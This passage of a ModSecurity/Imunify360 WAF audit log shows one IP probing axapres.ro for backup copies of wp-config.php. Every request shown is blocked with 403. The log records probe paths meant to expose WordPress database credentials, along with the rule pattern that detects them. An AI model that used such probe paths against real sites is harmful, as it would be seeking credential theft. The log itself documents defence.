--34835178-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--34835178-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqZB2jTJ6xTvcJoem7f4cwAAAFU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqZB2jTJ6xTvcJoem7f4cwAAAFU"]
Action: Intercepted (phase 2)
Stopwatch: 1789280730486864 60246 (- - -)
Stopwatch2: 1789280730486864 60246; combined=58870, p1=277, p2=58291, p3=0, p4=0, p5=301, sr=127, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--34835178-Z--

--668cba2f-A--
[13/Sep/2026:09:25:31.318935 +0300] aqZB22M7dE9KgIIOpQhrSQAAAME 169.40.142.190 60164 127.0.0.1 7081
--668cba2f-B--
GET /wp-config.php~ HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--668cba2f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--668cba2f-H--
Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php~"] [unique_id "aqZB22M7dE9KgIIOpQhrSQAAAME"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php~"] [unique_id "aqZB22M7dE9KgIIOpQhrSQAAAME"]
Action: Intercepted (phase 2)
Stopwatch: 1789280731261278 57706 (- - -)
Stopwatch2: 1789280731261278 57706; combined=56511, p1=244, p2=55943, p3=0, p4=0, p5=323, sr=99, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--668cba2f-Z--

--4227a818-A--
[13/Sep/2026:09:25:32.103156 +0300] aqZB3GM7dE9KgIIOpQhrSgAAAMs 169.40.142.190 60170 127.0.0.1 7081
--4227a818-B--
GET /wp-config.php.save HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--4227a818-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--4227a818-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.save||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.save||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.save"] [unique_id "aqZB3GM7dE9KgIIOpQhrSgAAAMs"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.save"] [unique_id "aqZB3GM7dE9KgIIOpQhrSgAAAMs"]
Action: Intercepted (phase 2)
Stopwatch: 1789280732043483 59715 (- - -)
Stopwatch2: 1789280732043483 59715; combined=58484, p1=355, p2=57846, p3=0, p4=0, p5=282, sr=166, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4227a818-Z--

--c056903f-A--
[13/Sep/2026:09:25:34.090583 +0300] aqZB3mM7dE9KgIIOpQhrSwAAAM8 169.40.142.190 60186 127.0.0.1 7081
--c056903f-B--
GET /wp-config.php.old HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--c056903f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--c056903f-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.old"] [unique_id "aqZB3mM7dE9KgIIOpQhrSwAAAM8"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.old"] [unique_id "aqZB3mM7dE9KgIIOpQhrSwAAAM8"]
Action: Intercepted (phase 2)
Stopwatch: 1789280734033156 57533 (- - -)
Stopwatch2: 1789280734033156 57533; combined=53872, p1=316, p2=53161, p3=0, p4=0, p5=394, sr=104, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c056903f-Z--

--a32fd33c-A--
[13/Sep/2026:09:25:35.071861 +0300] aqZB30wu1RSkptiiNIX0AwAAAJg 169.40.142.190 60194 127.0.0.1 7081
--a32fd33c-B--
GET /wp-config.php.orig HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--a32fd33c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--a32fd33c-Z--

--c7bf321e-A--
[13/Sep/2026:09:25:35.902341 +0300] aqZB30wu1RSkptiiNIX0BQAAAIw 169.40.142.190 58246 127.0.0.1 7081
--c7bf321e-B--
GET /wp-config.php.txt HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--c7bf321e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--c7bf321e-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.txt||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.txt||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.txt"] [unique_id "aqZB30wu1RSkptiiNIX0BQAAAIw"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.txt"] [unique_id "aqZB30wu1RSkptiiNIX0BQAAAIw"]
Action: Intercepted (phase 2)
Stopwatch: 1789280735847673 54720 (- - -)
Stopwatch2: 1789280735847673 54720; combined=53255, p1=357, p2=52571, p3=0, p4=0, p5=326, sr=133, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c7bf321e-Z--

--4dea540a-A--
[13/Sep/2026:09:25:36.643023 +0300] aqZB4GM7dE9KgIIOpQhrTAAAAMM 169.40.142.190 58250 127.0.0.1 7081
--4dea540a-B--
GET /wp-config.php.swp HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--4dea540a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--4dea540a-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.swp"] [unique_id "aqZB4GM7dE9KgIIOpQhrTAAAAMM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.swp"] [unique_id "aqZB4GM7dE9KgIIOpQhrTAAAAMM"]
Action: Intercepted (phase 2)
Stopwatch: 1789280736582946 60118 (- - -)
Stopwatch2: 1789280736582946 60118; combined=58035, p1=298, p2=57427, p3=0, p4=0, p5=309, sr=107, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4dea540a-Z--

--0ec8e55c-A--
[13/Sep/2026:09:25:47.013029 +0300] aqZB6mM7dE9KgIIOpQhrVgAAAME 169.40.142.190 53428 127.0.0.1 7081
--0ec8e55c-B--
GET /wp-config.php.bak HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--0ec8e55c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--0ec8e55c-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqZB6mM7dE9KgIIOpQhrVgAAAME"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqZB6mM7dE9KgIIOpQhrVgAAAME"]
Action: Intercepted (phase 2)
Stopwatch: 1789280746950362 62708 (- - -)
Stopwatch2: 1789280746950362 62708; combined=61208, p1=389, p2=60522, p3=0, p4=0, p5=296, sr=203, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0ec8e55c-Z--

--5af2e429-A--
[13/Sep/2026:09:25:47.634698 +0300] aqZB62M7dE9KgIIOpQhrVwAAAMs 169.40.142.190 53438 127.0.0.1 7081
--5af2e429-B--
GET /wp-config.php~ HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--5af2e429-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--5af2e429-H--
Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php~"] [unique_id "aqZB62M7dE9KgIIOpQhrVwAAAMs"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php~"] [unique_id "aqZB62M7dE9KgIIOpQhrVwAAAMs"]
Action: Intercepted (phase 2)
Stopwatch: 1789280747578040 56738 (- - -)
Stopwatch2: 1789280747578040 56738; combined=55506, p1=250, p2=54940, p3=0, p4=0, p5=316, sr=113, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5af2e429-Z--

--6409b82e-A--
[13/Sep/2026:09:25:49.457263 +0300] aqZB7Uwu1RSkptiiNIX0BgAAAI0 169.40.142.190 53448 127.0.0.1 7081
--6409b82e-B--
GET /wp-config.php.save HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--6409b82e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--6409b82e-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.save||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.save||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.save"] [unique_id "aqZB7Uwu1RSkptiiNIX0BgAAAI0"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.save"] [unique_id "aqZB7Uwu1RSkptiiNIX0BgAAAI0"]
Action: Intercepted (phase 2)
Stopwatch: 1789280749398681 58637 (- - -)
Stopwatch2: 1789280749398681 58637; combined=57004, p1=266, p2=56380, p3=0, p4=0, p5=357, sr=114, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6409b82e-Z--

--4a12f511-A--
[13/Sep/2026:09:25:51.075108 +0300] aqZB72M7dE9KgIIOpQhrWAAAAM8 169.40.142.190 53452 127.0.0.1 7081
--4a12f511-B--
GET /wp-config.php.swp HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--4a12f511-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--4a12f511-H--
